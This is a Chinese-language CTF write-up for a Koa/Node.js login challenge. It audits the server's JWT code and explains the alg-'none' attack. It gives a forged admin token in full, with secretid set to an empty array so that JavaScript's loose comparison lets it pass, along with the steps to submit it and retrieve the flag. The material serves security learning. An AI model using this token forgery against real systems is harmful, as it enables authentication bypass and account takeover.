前置知識
node.js
koa框架常用目錄,文件

js弱類型語言,空數組與整數1比較時,返回turue
jwt令牌
博客講解:
關於jwt的講解: http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
https://www.cnblogs.com/z-sm/p/9125995.html
https://www.jianshu.com/p/1ce08a374bb5
jwt攻擊手段:https://www.freebuf.com/articles/web/181261.html
個人總結
形式:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.(這里有一個點)eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.(這里也有一個點)TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
第一個點前為header,第二個點前為payload,第二個點后為signture
一個攻擊點:當header中的alg為none時,后端將不執行簽名驗證。將alg更改為none后,從JWT中刪除簽名數據(僅標題+’.'+ payload +’.')並將其提交給服務器。
解題思路
點開發現是登陸框,源碼什么的沒有啥問題
審查元素
f12審查元素,發現app.js,發現是node.js寫的后端。框架用的是koa
之后主要的邏輯代碼我沒找到,看wp才知道是controllers下的api.js。趙總說是經驗,好吧。。。學到了。
代碼審計
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
`
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
這里有注冊、登陸、flag、登出四個路由,可以得知admin登陸后即可獲得flag,此時思路,如何登陸admin用戶
jwt令牌
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
關鍵代碼就是這一句,發現使用的為jwt令牌,關於jwt令牌的攻擊前置知識已寫,所以直接運用 將加密方式改為’none’的方式。
payload:
{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "123456","iat": 1587632063}.(分開base64)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiMTIzNDU2IiwiaWF0IjogMTU4NzYzMjA2M30.
這里推薦一個網站
https://jwt.io/
可以直接幫你編碼
解題
先注冊一個用戶,登陸界面bp抓包,並發送剛剛的payload

發包,發現登陸成功,顯示welcome admin,再抓一個包,go一下,發現flag
總結思路
- 要找到一個項目的主要邏輯代碼,文件名可能為api.js
- 代碼審計發現jwt令牌,思考可以用哪個jwt攻擊思路
知識點
- jwt相關攻擊
- 代碼審計(node.js)
